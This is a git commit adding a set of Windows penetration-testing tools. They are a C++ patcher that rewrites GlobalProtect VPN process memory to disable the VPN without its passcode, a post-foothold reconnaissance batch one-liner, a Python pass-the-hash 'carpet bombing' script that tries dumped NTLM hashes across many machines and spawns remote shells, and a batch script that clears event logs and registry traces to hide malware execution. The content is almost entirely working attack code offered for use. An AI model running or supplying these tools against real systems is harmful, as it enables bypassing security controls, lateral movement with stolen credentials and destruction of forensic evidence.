This commit is contained in:
Mariusz B
2018-02-02 22:22:43 +01:00
commit c08aa59f9a
65 changed files with 8281 additions and 0 deletions

View File

@@ -0,0 +1,355 @@
/*
* Global Protect VPN Application patcher allowing the
* Administrator user to disable VPN without Passcode.
*
* It does this by patching process memory and thus allowing to
* disable VPN without entering proper password.
*
* Tested on:
* GlobalProtect client 3.1.6.19
* Palo Alto Networks
*
* Mariusz B. / mgeeky, '18
**/
#include "windows.h"
#include <iostream>
#include <sstream>
#include <tlhelp32.h>
using namespace std;
#define _DEBUG
const wchar_t *processName = L"PanGPA.exe";
/*
00007FF621B7D02A | 85 C0 | test eax, eax |
00007FF621B7D02C | 78 61 | js pangpa.7FF621B7D08F |
00007FF621B7D02E | 48 8B CB | mov rcx, rbx |
00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 |
00007FF621B7D036 | 85 C0 | test eax, eax |
00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F
^--- This is byte to be patched.
*/
const BYTE patternToFind[] = {
0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8,
0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0
};
// jne pangpa.7FF621B7D08F
const BYTE bytesToBeReplaced[] = {
0x75, 0x55
};
// je pangpa.7FF621B7D08F
const BYTE replacingBytes[] = {
0x74, 0x55
};
struct moduleInfo {
UINT64 baseAddr;
DWORD baseSize;
};
bool alreadyPatched = false;
void dbg(const wchar_t * format, ...) {
wchar_t buffer[4096];
va_list args;
va_start (args, format);
vswprintf (buffer,format, args);
wcout << L"[dbg] " << buffer << endl;
va_end (args);
}
void msg(const wchar_t * format, ...) {
wchar_t buffer[4096];
va_list args;
va_start (args, format);
vswprintf (buffer,format, args);
MessageBoxW(NULL, buffer, L"GlobalProtectDisable", 0);
va_end (args);
}
BOOL setPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
){
TOKEN_PRIVILEGES tp;
LUID luid;
if ( !LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid ) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if ( !AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) ){
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
DWORD findProcess(const wchar_t *procname) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if(Process32FirstW(hSnapshot, &pe32)) {
do {
if (wcsicmp(procname, pe32.szExeFile) == 0) {
return pe32.th32ProcessID;
}
} while(Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
return 0;
}
BOOL getProcessModule(
const wchar_t * modName,
DWORD pid,
struct moduleInfo *out
) {
dbg(L"PID = %d", pid);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
if(hSnapshot != INVALID_HANDLE_VALUE) {
MODULEENTRY32W me32;
me32.dwSize = sizeof(MODULEENTRY32W);
if(Module32FirstW(hSnapshot, &me32)) {
do {
dbg(L"Module name: %ls", me32.szModule);
if (wcsicmp(modName, me32.szModule) == 0) {
memset(out, 0, sizeof(struct moduleInfo));
out->baseAddr = (UINT64)me32.modBaseAddr;
out->baseSize = me32.modBaseSize;
return true;
}
} while(Module32NextW(hSnapshot, &me32));
}
else {
dbg(L"Module32FirstW failed.");
}
CloseHandle(hSnapshot);
}
else {
dbg(L"CreateToolhelp32Snapshot failed.");
}
return false;
}
BOOL patchProcessMemory(
const wchar_t * procName,
DWORD pid,
HANDLE hProcess,
const BYTE * patternToFind,
size_t patternToFindNum,
const BYTE * bytesToBeReplaced,
size_t bytesToBeReplacedNum,
const BYTE * replacingBytes,
size_t replacingBytesNum
) {
struct moduleInfo mod;
if (!getProcessModule(procName, pid, &mod)) {
dbg(L"Could not find process module. Error: %d", GetLastError());
return false;
}
dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize);
BYTE page[4096];
SIZE_T fetched = 0;
UINT64 addr = mod.baseAddr;
while( fetched < mod.baseSize) {
memset(page, 0, sizeof(page));
SIZE_T out = 0;
if(ReadProcessMemory(
hProcess,
reinterpret_cast<LPCVOID>(addr),
page,
sizeof(page),
&out
)) {
UINT64 foundAddr = 0;
for(size_t m = 0; m < sizeof(page); m++) {
if (page[m] == patternToFind[0]) {
bool found = true;
for(size_t n = 0; n < patternToFindNum; n++) {
if(page[m + n] != patternToFind[n]) {
found = false;
break;
}
}
if(found) {
dbg(L"Found pattern at: %016llx: %x, %x, %x, %x, %x, %x, %x, %x, ...",
addr + m,
page[m + 0],
page[m + 1],
page[m + 2],
page[m + 3],
page[m + 4],
page[m + 5],
page[m + 6],
page[m + 7]
);
for(size_t n = 0; n < bytesToBeReplacedNum; n++) {
if(page[m + patternToFindNum + n] != bytesToBeReplaced[n]) {
found = false;
if ( page[m + patternToFindNum + n] == replacingBytes[n]) {
msg(L"Process is already patched.\nNo need to do it again.");
alreadyPatched = true;
return false;
}
dbg(L"Assuring pattern failed at byte %d: %x -> %x",
n,page[m + patternToFindNum + n], bytesToBeReplaced[n] );
break;
}
}
if(found) {
foundAddr = addr + m + patternToFindNum;
dbg(L"Found pattern at: 0x%llx", foundAddr);
break;
}
}
}
}
if (foundAddr) {
dbg(L"Starting patching process from address: %016llx", foundAddr);
out = 0;
if(WriteProcessMemory(
hProcess,
reinterpret_cast<LPVOID>(foundAddr),
replacingBytes,
replacingBytesNum,
&out
)) {
dbg(L"Process has been patched, written: %d bytes.", out);
return true;
}
dbg(L"Process patching failed.");
return false;
}
fetched += out;
addr += out;
}
}
return false;
}
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
) {
HANDLE hToken = NULL;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){
msg(L"OpenProcessToken() failed, error %u\n", GetLastError());
return 0;
}
if(!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) {
msg(L"Failed to enable privilege, error %u\n", GetLastError());
return 0;
}
DWORD pid = findProcess(processName);
if (!pid) {
msg(L"Could not find GlobalProtect process.");
return 0;
}
dbg(L"Found PanGPA process: %d", pid);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
msg(L"Could not open GlobalProtect process. Error: %d", GetLastError());
return 0;
}
dbg(L"Opened process handle.");
BOOL ret = patchProcessMemory(
processName,
pid,
hProcess,
patternToFind,
sizeof(patternToFind),
bytesToBeReplaced,
sizeof(bytesToBeReplaced),
replacingBytes,
sizeof(replacingBytes)
);
if(!ret) {
if(!alreadyPatched) {
msg(L"Could not patch the process. Error: %d", GetLastError());
}
}
else {
msg(L"Successfully patched the process! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!");
}
dbg(L"Closing process handle.");
CloseHandle(hProcess);
return 0;
}

22
windows/README.md Normal file
View File

@@ -0,0 +1,22 @@
## Windows penetration testing related scripts, tools and Cheatsheets
- **`GlobalProtectDisable.cpp`** - Global Protect VPN Application patcher allowing the Administrator user to disable VPN without Passcode. ([gist](https://gist.github.com/mgeeky/54ac676226a1a4bd9fd8653e24adc2e9))
Steps are following:
1. Launch the application as an Administrator
2. Read instructions carefully and press OK
3. Right-click on GlobalProtect tray-icon
4. Select "Disable"
5. Enter some random meaningless password
After those steps - the GlobalProtect will disable itself cleanly.
From now on, the GlobalProtect will remain disabled until you reboot the machine (or restart the PanGPA.exe process or PanGPS service).
- **`awareness.bat`** - Little and quick Windows Situational-Awareness set of commands to execute after gaining initial foothold (coming from APT34: https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html ) ([gist](https://gist.github.com/mgeeky/237b48e0bb6546acb53696228ab50794))
- **`pth-carpet.py`** - Pass-The-Hash Carpet Bombing utility - trying every provided hash against every specified machine. ([gist](https://gist.github.com/mgeeky/3018bf3643f80798bde75c17571a38a9))
- **`win-clean-logs.bat`** - Batch script to hide malware execution from Windows box. Source: Mandiant M-Trends 2017. ([gist](https://gist.github.com/mgeeky/3561be7e697c62f543910851c0a26d00))

1
windows/awareness.bat Normal file
View File

@@ -0,0 +1 @@
@echo off&chcp 65001& whoami 2>&1 & hostname 2>&1 & echo ________________________________IpConfig______________________________ & ipconfig /all 2>&1 & echo __________________________Domian Admins_______________________________ & net group "domain admins" /domain 2>&1 & echo _______________________net local group members________________________ & net localgroup administrators 2>&1 & echo ________________________________netstat_______________________________ & netstat -an 2>&1 & echo _____________________________systeminfo_______________________________ & systeminfo 2>&1 & echo ________________________________RDP___________________________________ & reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1 & echo ____________________________Custom Command_______________________________ & wmic os get Caption /value | more 2>&1 & echo ________________________________Task__________________________________ & schtasks /query /FO List /TN "GoogleUpdateTasksMachineUI" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo ______________________________________________________________________

222
windows/pth-carpet.py Normal file
View File

@@ -0,0 +1,222 @@
#!/usr/bin/python
#
# Simple script intended to perform Carpet Bombing against list
# of provided machines using list of provided LSA Hashes (LM:NTLM).
# The basic idea with Pass-The-Hash attack is to get One hash and use it
# against One machine. There is a problem with this approach of not having information,
# onto what machine we could have applied the hash.
# To combat this issue - the below script was born.
#
# Requirements:
# This script requires 'pth-winexe' utility (or winexe renamed to pth-winexe') be present
# within system during script's invocation. In case this utility will not be present -
# no further check upon ability to run commands from PTH attack - will be displayed.
# Also, modules such as:
# - impacket
#
# Notice:
# This script is capable of verifying exploitability of only Windows boxes. In case
# of other type of boxes (running Samba) pth-winexe will not yield satisfying results.
#
# Usage:
# $ ./pth-carpet.py machines.txt pwdump
#
# coded by:
# Mariusz B., 2016 / mgeeky
# version 0.2
#
# Should be working on Windows boxes as well as on Linux ones.
#
from __future__ import print_function
import os
import sys
import argparse
import signal
import logging
import threading
import subprocess
import multiprocessing
from termcolor import colored
from functools import partial
from multiprocessing.managers import BaseManager
from impacket.dcerpc.v5 import transport
WORKERS = multiprocessing.cpu_count() * 4
TIMEOUT = 10
OPTIONS = None
LOCK = multiprocessing.Lock()
def info(txt):
with LOCK:
print (txt)
def success(txt):
info(colored('[+] '+txt, 'green', attrs=['bold']))
def warning(txt):
info(colored('[*] '+txt, 'yellow'))
def verbose(txt):
if OPTIONS.v:
info(colored('[?] '+txt, 'white'))
def err(txt):
info(colored('[!] '+txt, 'red'))
class Command(object):
def __init__(self, cmd):
self.cmd = cmd
self.process = None
self.output = ''
self.error = ''
verbose( '\tCalling: "%s"' % cmd)
def get_output(self):
return self.output, self.error
def run(self, stdin, timeout):
def target():
self.process = subprocess.Popen(self.cmd, shell=True, \
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
self.output, self.error = self.process.communicate(stdin)
thread = threading.Thread(target=target)
thread.start()
thread.join(timeout)
if thread.is_alive():
self.process.terminate()
thread.join()
return False
else:
return True
def init_worker():
# http://stackoverflow.com/a/6191991
signal.signal(signal.SIGINT, signal.SIG_IGN)
def cmd_exists(cmd):
return subprocess.call("type " + cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0
def check_rce(host, username, hash, port):
verbose('\tChecking whether provided hash can be used to PTH remote code execution')
if cmd_exists('pth-winexe'):
userswitch = '%s%%%s' % (username, hash)
c = Command('pth-winexe -U %s //%s cmd' % (userswitch, host))
if c.run('exit\n', TIMEOUT):
pass
else:
verbose('\tPTH-Winexe had to be terminated.')
out, error = c.get_output()
if 'Microsoft' in out and '(C) Copyright' in out and '[Version' in out:
return True
else:
errorm = error[error.find('NT_STATUS'):].strip()
if not errorm.startswith('NT_STATUS'):
if 'NT_STATUS' in error:
errorm = error
else:
errorm = 'Unknown error'
if OPTIONS.v:
err('\tCould not spawn shell using PTH: ' + errorm)
else:
warning('\tPlease check above hash whether using it you can access writeable $IPC share to execute cmd.')
return False
def login(host, username, hash, port):
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % host
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
lmhash, nthash = hash.split(':')
rpctransport.set_credentials(username, '', '', lmhash, nthash, None)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
return check_rce(host, username, hash, port)
except Exception, e:
raise e
def correct_hash(hash):
lmhash, nthash = hash.split(':')
if '*' in lmhash:
lmhash = '0' * 32
if '*' in nthash:
nthash = '0' * 32
return lmhash + ':' + nthash
def worker(stopevent, pwdump, machine):
for user, hash in pwdump.items():
if stopevent.is_set():
break
hash = correct_hash(hash)
try:
if login(machine, user, hash, OPTIONS.port):
success('Pass-The-Hash with shell spawned: %s@%s (%s)' % (user, machine, hash))
else:
if OPTIONS.v:
warning('Connected using PTH but could\'nt spawn shell: %s@%s (%s)' % (user, machine, hash))
except Exception, e:
verbose('Hash was not accepted: %s@%s (%s)\n\t%s' % (user, machine, hash, str(e)))
def main():
global OPTIONS
print(colored('\n\tPass-The-Hash Carpet Bombing utility\n\tSmall utility trying every provided hash against every specified machine.\n\tMariusz B., 2016\n', 'white', attrs=['bold']))
parser = argparse.ArgumentParser(add_help = True, description='Pass-The-Hash mass checking tool')
parser.add_argument('rhosts', nargs='?', help='Specifies input file containing list of machines or CIDR notation of hosts')
parser.add_argument('hashes', nargs='?', help='Specifies input file containing list of dumped hashes in pwdump format')
parser.add_argument('-v', action='store_true', help='Verbose mode')
parser.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar='smb port', help='Destination port used to connect into SMB Server')
if len(sys.argv) < 3:
parser.print_help()
sys.exit(1)
OPTIONS = parser.parse_args()
machines = [x.strip() for x in open(OPTIONS.rhosts).readlines() ]
rawpwdump = [x.strip() for x in open(OPTIONS.hashes).readlines() ]
pwdump = {}
for p in rawpwdump:
try:
user = p.split(':')[0]
hash = p.split(':')[2] + ':' + p.split(':')[3]
except:
err('Supplied hashes file does not conform PWDUMP format!')
err('\tIt must be like this: <user>:<id>:<lmhash>:<nthash>:...')
sys.exit(1)
pwdump[user] = hash
warning('Testing %d hashes against %d machines. Resulting in total in %d PTH attempts\n' \
% (len(pwdump), len(machines), len(pwdump) * len(machines)))
stopevent = multiprocessing.Manager().Event()
try:
pool = multiprocessing.Pool(WORKERS, init_worker)
func = partial(worker, stopevent, pwdump)
pool.map_async(func, machines)
pool.close()
pool.join()
except KeyboardInterrupt:
pool.terminate()
pool.join()
success('\nUser interrupted the script.')
if __name__ == '__main__':
main()

View File

@@ -0,0 +1,13 @@
@echo off
del /f /q /s %windir%\prefetch\*
reg delete “HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache” /va /f
reg delete “HKLM\Software\Microsoft\Windows\ShellNoRoam\MUICache” /va /f
reg delete “HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache” /va /f
reg delete “HKLM\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache” /va /f
reg delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU” /va /f
reg delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist” /va /f
wmic nteventlog where LogFileName=File Replication Service Call ClearEventlog
wmic nteventlog where LogFileName=Application Call ClearEventlog
wmic nteventlog where LogFileName=System Call ClearEventlog
wmic nteventlog where LogFileName=PowerShell Call ClearEventlog
ren %1 temp000 & copy /y %windir%\regedit.exe temp000 & del temp000